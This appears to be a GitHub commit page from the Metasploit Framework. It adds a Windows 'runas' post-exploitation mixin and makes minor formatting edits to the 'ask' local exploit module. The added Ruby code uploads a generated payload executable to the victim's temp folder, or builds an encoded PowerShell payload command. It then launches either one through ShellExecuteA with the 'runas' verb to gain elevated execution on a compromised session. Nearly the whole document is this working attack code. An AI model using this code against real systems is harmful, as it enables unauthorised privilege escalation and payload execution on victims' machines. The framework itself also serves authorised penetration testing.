Skip to content

Commit 7b2f0a6

Browse files
committed
Tidy up
1 parent 04506d7 commit 7b2f0a6

File tree

3 files changed

+43
-2
lines changed

3 files changed

+43
-2
lines changed

lib/msf/core/post/windows.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ module Msf::Post::Windows
99
require 'msf/core/post/windows/process'
1010
require 'msf/core/post/windows/railgun'
1111
require 'msf/core/post/windows/registry'
12+
require 'msf/core/post/windows/runas'
1213
require 'msf/core/post/windows/services'
1314
require 'msf/core/post/windows/shadowcopy'
1415
require 'msf/core/post/windows/user_profiles'

lib/msf/core/post/windows/runas.rb

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/powershell'
4+
require 'msf/core/exploit/exe'
5+
6+
module Msf::Post::Windows::Runas
7+
8+
include Msf::Post::File
9+
include Msf::Exploit::EXE
10+
include Msf::Exploit::Powershell
11+
12+
def execute_exe(filename=nil, path=nil, upload=nil)
13+
exe_payload = generate_payload_exe
14+
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
15+
payload_path = path || get_env('TEMP')
16+
cmd_location = "#{payload_path}\\#{payload_filename}"
17+
18+
if upload
19+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
20+
write_file(cmd_location, exe_payload)
21+
else
22+
print_error("No Upload Path!")
23+
return
24+
end
25+
26+
command = cmd_location
27+
shell_exec(command, nil)
28+
end
29+
30+
def execute_psh
31+
command,args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
32+
shell_exec(command,args)
33+
end
34+
35+
def shell_exec(command, args)
36+
print_status("Executing elevated command!")
37+
session.railgun.shell32.ShellExecuteA(nil, "runas", command, args, nil, 5)
38+
end
39+
end
40+

modules/exploits/windows/local/ask.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def initialize(info={})
3838

3939
register_options([
4040
OptString.new("FILENAME", [ false, "File name on disk"]),
41-
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
41+
OptString.new("PATH", [ false, "Location on disk, %TEMP% used if not set" ]),
4242
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
4343
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
4444
])
@@ -64,7 +64,7 @@ def exploit
6464
#
6565
case datastore["TECHNIQUE"]
6666
when "EXE"
67-
execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
67+
execute_exe(datastore["FILENAME"], datastore["PATH"], datastore["UPLOAD"])
6868
when "PSH"
6969
execute_psh
7070
end

0 commit comments

Comments
 (0)